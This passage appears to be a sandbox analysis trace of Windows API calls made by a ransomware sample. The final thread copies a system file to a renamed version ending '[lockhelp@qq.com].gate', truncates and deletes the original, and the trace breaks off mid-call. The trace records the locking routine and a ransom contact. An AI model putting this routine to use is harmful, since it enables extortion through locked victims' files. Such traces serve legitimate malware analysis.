CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60f240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0109.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60f240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0109.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60c7d0 [0109.341] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60c7d0, Size=0x20) returned 0x5eea70 [0109.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ca28 [0109.341] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60ca28, Size=0x20) returned 0x5ee9a8 [0109.342] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.342] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0109.342] Wow64DisableWow64FsRedirection (in: OldValue=0x286ff7c | out: OldValue=0x286ff7c*=0x0) returned 1 [0109.342] lstrlenW (lpString="kernel32.dll") returned 12 [0109.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea70 | out: hHeap=0x5b0000) returned 1 [0109.342] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0109.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee9a8 | out: hHeap=0x5b0000) returned 1 [0109.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5f7700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0109.343] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0109.488] GetTickCount () returned 0x247ec [0109.488] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0109.663] GetTickCount () returned 0x24898 [0109.663] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0109.828] GetTickCount () returned 0x24934 [0109.828] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0110.270] GetTickCount () returned 0x24aea [0110.270] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0111.186] GetTickCount () returned 0x24e83 [0111.186] GetTickCount () returned 0x24e83 [0111.186] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0111.455] GetTickCount () returned 0x24f8d [0111.455] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0111.866] GetTickCount () returned 0x25133 [0111.866] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.168] GetTickCount () returned 0x2526b [0112.168] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.386] GetTickCount () returned 0x25346 [0112.386] GetTickCount () returned 0x25346 [0112.386] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.571] GetTickCount () returned 0x25402 [0112.571] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0112.777] GetTickCount () returned 0x254bd [0112.777] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0113.287] GetTickCount () returned 0x256c1 [0113.287] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0113.730] GetTickCount () returned 0x25876 [0113.730] GetTickCount () returned 0x25876 [0113.730] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0114.345] GetTickCount () returned 0x25ae7 [0114.345] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0114.459] GetTickCount () returned 0x25b55 [0114.459] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0114.689] GetTickCount () returned 0x25c3f [0114.689] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0114.913] GetTickCount () returned 0x25d1a [0114.913] GetTickCount () returned 0x25d1a [0114.913] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0115.187] GetTickCount () returned 0x25e33 [0115.187] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0115.764] GetTickCount () returned 0x26075 [0115.764] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0116.631] GetTickCount () returned 0x263d1 [0116.631] GetTickCount () returned 0x263d1 [0116.631] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0117.142] GetTickCount () returned 0x265d4 [0117.142] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0117.608] GetTickCount () returned 0x267a9 [0117.608] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0118.038] GetTickCount () returned 0x2694f [0118.038] GetTickCount () returned 0x2694f [0118.038] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0118.215] GetTickCount () returned 0x26a0a [0118.215] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0118.339] GetTickCount () returned 0x26a78 [0118.339] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0118.447] GetTickCount () returned 0x26ae5 [0118.447] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0118.560] GetTickCount () returned 0x26b62 [0118.560] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0118.674] GetTickCount () returned 0x26bcf [0118.674] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0118.787] GetTickCount () returned 0x26c3d [0118.787] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0118.895] GetTickCount () returned 0x26caa [0118.896] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0119.001] GetTickCount () returned 0x26d18 [0119.002] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0119.123] GetTickCount () returned 0x26d95 [0119.123] GetTickCount () returned 0x26d95 [0119.123] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0119.232] GetTickCount () returned 0x26e02 [0119.232] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0119.358] GetTickCount () returned 0x26e7f [0119.358] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0119.706] GetTickCount () returned 0x26fd7 [0119.706] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0119.810] GetTickCount () returned 0x27044 [0119.810] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0119.933] GetTickCount () returned 0x270b1 [0119.933] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0120.058] GetTickCount () returned 0x2712e [0120.058] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0120.213] GetTickCount () returned 0x271cb [0120.213] GetTickCount () returned 0x271cb [0120.213] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0120.364] GetTickCount () returned 0x27267 [0120.364] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0120.479] GetTickCount () returned 0x272d4 [0120.479] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0120.576] GetTickCount () returned 0x27342 [0120.576] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0120.685] GetTickCount () returned 0x273af [0120.686] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0120.794] GetTickCount () returned 0x2741c [0120.794] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0120.904] GetTickCount () returned 0x2748a [0120.904] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0121.673] GetTickCount () returned 0x27787 [0121.673] GetTickCount () returned 0x27787 [0121.673] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0124.123] GetTickCount () returned 0x2810d [0124.123] GetTickCount () returned 0x2810d [0124.123] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0124.704] GetTickCount () returned 0x2835f [0124.704] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0125.041] GetTickCount () returned 0x284a7 [0125.041] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0125.730] GetTickCount () returned 0x28756 [0125.730] GetTickCount () returned 0x28756 [0125.730] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0126.165] GetTickCount () returned 0x2890c [0126.165] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0126.653] GetTickCount () returned 0x28af0 [0126.653] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0126.872] GetTickCount () returned 0x28bcb [0126.872] GetTickCount () returned 0x28bcb [0126.872] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0127.044] GetTickCount () returned 0x28c77 [0127.044] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0127.163] GetTickCount () returned 0x28cf4 [0127.163] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0127.261] GetTickCount () returned 0x28d52 [0127.261] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0127.376] GetTickCount () returned 0x28dbf [0127.376] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0127.477] GetTickCount () returned 0x28e2c [0127.477] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0129.148] GetTickCount () returned 0x294a5 [0129.148] GetTickCount () returned 0x294a5 [0129.148] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0129.349] GetTickCount () returned 0x29570 [0129.349] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0129.574] GetTickCount () returned 0x2965a [0129.574] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0129.770] GetTickCount () returned 0x29716 [0129.770] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0129.868] GetTickCount () returned 0x29783 [0129.868] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0130.011] GetTickCount () returned 0x29810 [0130.011] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0130.149] GetTickCount () returned 0x2989c [0130.149] GetTickCount () returned 0x2989c [0130.149] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102 [0130.299] GetTickCount () returned 0x29929 [0130.299] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0xa90 [0109.335] GetTickCount () returned 0x24750 [0109.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x60f210 [0109.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60f210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0109.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60f210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0109.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60f210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0109.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60f210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0109.337] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60c7d0 [0109.338] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60c7d0, Size=0x20) returned 0x5eea70 [0109.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ca28 [0109.338] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60ca28, Size=0x20) returned 0x5ee9a8 [0109.338] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.338] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0109.338] Wow64DisableWow64FsRedirection (in: OldValue=0x296ff7c | out: OldValue=0x296ff7c*=0x0) returned 1 [0109.338] lstrlenW (lpString="kernel32.dll") returned 12 [0109.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea70 | out: hHeap=0x5b0000) returned 1 [0109.338] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0109.338] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee9a8 | out: hHeap=0x5b0000) returned 1 [0109.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x61af58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0109.339] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0109.488] GetTickCount () returned 0x247ec [0109.488] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0109.663] GetTickCount () returned 0x24898 [0109.663] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0109.828] GetTickCount () returned 0x24934 [0109.828] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0110.269] GetTickCount () returned 0x24aea [0110.269] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0111.186] GetTickCount () returned 0x24e83 [0111.186] GetTickCount () returned 0x24e83 [0111.186] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0111.455] GetTickCount () returned 0x24f8d [0111.455] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0111.866] GetTickCount () returned 0x25133 [0111.866] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.168] GetTickCount () returned 0x2526b [0112.168] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.386] GetTickCount () returned 0x25346 [0112.386] GetTickCount () returned 0x25346 [0112.386] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.571] GetTickCount () returned 0x25402 [0112.571] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0112.777] GetTickCount () returned 0x254bd [0112.777] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0113.287] GetTickCount () returned 0x256c1 [0113.287] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0113.730] GetTickCount () returned 0x25876 [0113.730] GetTickCount () returned 0x25876 [0113.730] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0114.345] GetTickCount () returned 0x25ae7 [0114.345] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0114.459] GetTickCount () returned 0x25b55 [0114.459] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0114.689] GetTickCount () returned 0x25c3f [0114.689] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0114.913] GetTickCount () returned 0x25d1a [0114.913] GetTickCount () returned 0x25d1a [0114.913] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0115.187] GetTickCount () returned 0x25e33 [0115.187] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0115.764] GetTickCount () returned 0x26075 [0115.764] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0116.631] GetTickCount () returned 0x263d1 [0116.631] GetTickCount () returned 0x263d1 [0116.631] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0117.141] GetTickCount () returned 0x265d4 [0117.141] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0117.608] GetTickCount () returned 0x267a9 [0117.608] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0118.028] GetTickCount () returned 0x2693f [0118.028] GetTickCount () returned 0x2693f [0118.028] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0118.215] GetTickCount () returned 0x26a0a [0118.215] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0118.339] GetTickCount () returned 0x26a78 [0118.339] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0118.447] GetTickCount () returned 0x26ae5 [0118.447] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0118.560] GetTickCount () returned 0x26b62 [0118.560] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0118.674] GetTickCount () returned 0x26bcf [0118.674] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0118.787] GetTickCount () returned 0x26c3d [0118.787] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0118.896] GetTickCount () returned 0x26caa [0118.896] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0119.002] GetTickCount () returned 0x26d18 [0119.002] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0119.123] GetTickCount () returned 0x26d95 [0119.123] GetTickCount () returned 0x26d95 [0119.124] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0119.232] GetTickCount () returned 0x26e02 [0119.232] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0119.358] GetTickCount () returned 0x26e7f [0119.358] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0119.706] GetTickCount () returned 0x26fd7 [0119.706] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0119.810] GetTickCount () returned 0x27044 [0119.811] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0119.933] GetTickCount () returned 0x270b1 [0119.933] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0120.058] GetTickCount () returned 0x2712e [0120.058] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0120.213] GetTickCount () returned 0x271cb [0120.213] GetTickCount () returned 0x271cb [0120.213] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0120.364] GetTickCount () returned 0x27267 [0120.364] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0120.479] GetTickCount () returned 0x272d4 [0120.479] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0120.575] GetTickCount () returned 0x27342 [0120.575] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0120.685] GetTickCount () returned 0x273af [0120.685] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0120.794] GetTickCount () returned 0x2741c [0120.794] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0120.904] GetTickCount () returned 0x2748a [0120.904] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0121.673] GetTickCount () returned 0x27787 [0121.673] GetTickCount () returned 0x27787 [0121.673] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0124.123] GetTickCount () returned 0x2810d [0124.123] GetTickCount () returned 0x2810d [0124.123] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0124.704] GetTickCount () returned 0x2835f [0124.704] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0125.041] GetTickCount () returned 0x284a7 [0125.041] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0125.729] GetTickCount () returned 0x28756 [0125.729] GetTickCount () returned 0x28756 [0125.729] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0126.165] GetTickCount () returned 0x2890c [0126.165] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0126.653] GetTickCount () returned 0x28af0 [0126.653] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0126.872] GetTickCount () returned 0x28bcb [0126.872] GetTickCount () returned 0x28bcb [0126.872] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0127.043] GetTickCount () returned 0x28c77 [0127.043] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0127.163] GetTickCount () returned 0x28cf4 [0127.163] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0127.261] GetTickCount () returned 0x28d52 [0127.261] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0127.376] GetTickCount () returned 0x28dbf [0127.376] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0127.477] GetTickCount () returned 0x28e2c [0127.477] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0129.148] GetTickCount () returned 0x294a5 [0129.148] GetTickCount () returned 0x294a5 [0129.148] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0129.349] GetTickCount () returned 0x29570 [0129.349] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0129.574] GetTickCount () returned 0x2965a [0129.574] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0129.770] GetTickCount () returned 0x29716 [0129.771] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0129.868] GetTickCount () returned 0x29783 [0129.868] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0130.011] GetTickCount () returned 0x29810 [0130.011] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0130.149] GetTickCount () returned 0x2989c [0130.149] GetTickCount () returned 0x2989c [0130.149] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102 [0130.298] GetTickCount () returned 0x29929 [0130.298] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) Thread: id = 15 os_tid = 0x784 [0109.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x63dba0 [0109.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x64dba8 [0109.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cc98 [0109.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x63d350 [0109.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cba8 [0109.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x38b5020 [0109.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cad0 [0109.622] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60cad0, Size=0x20) returned 0x5eea70 [0109.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ca70 [0109.622] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60ca70, Size=0x20) returned 0x5ee9d0 [0109.622] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.622] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0109.622] Wow64DisableWow64FsRedirection (in: OldValue=0x266ff50 | out: OldValue=0x266ff50*=0x0) returned 1 [0109.622] lstrlenW (lpString="kernel32.dll") returned 12 [0109.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea70 | out: hHeap=0x5b0000) returned 1 [0109.622] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0109.622] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee9d0 | out: hHeap=0x5b0000) returned 1 [0109.622] Sleep (dwMilliseconds=0x64) [0109.831] Sleep (dwMilliseconds=0x64) [0110.270] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0110.270] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0110.270] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.313] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=144072) returned 1 [0110.313] CloseHandle (hObject=0x2c0) returned 1 [0110.313] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0110.314] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.316] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0110.316] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.317] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.317] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0110.346] GetLastError () returned 0x0 [0110.346] ReadFile (in: hFile=0x310, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x232c8, lpOverlapped=0x0) returned 1 [0110.399] WriteFile (in: hFile=0x318, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x232d0, lpOverlapped=0x0) returned 1 [0110.402] ReadFile (in: hFile=0x310, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.402] WriteFile (in: hFile=0x318, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0110.402] SetEndOfFile (hFile=0x318) returned 1 [0110.403] CloseHandle (hObject=0x318) returned 1 [0110.408] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.409] SetEndOfFile (hFile=0x310) returned 1 [0110.411] CloseHandle (hObject=0x310) returned 1 [0110.411] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0110.412] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: 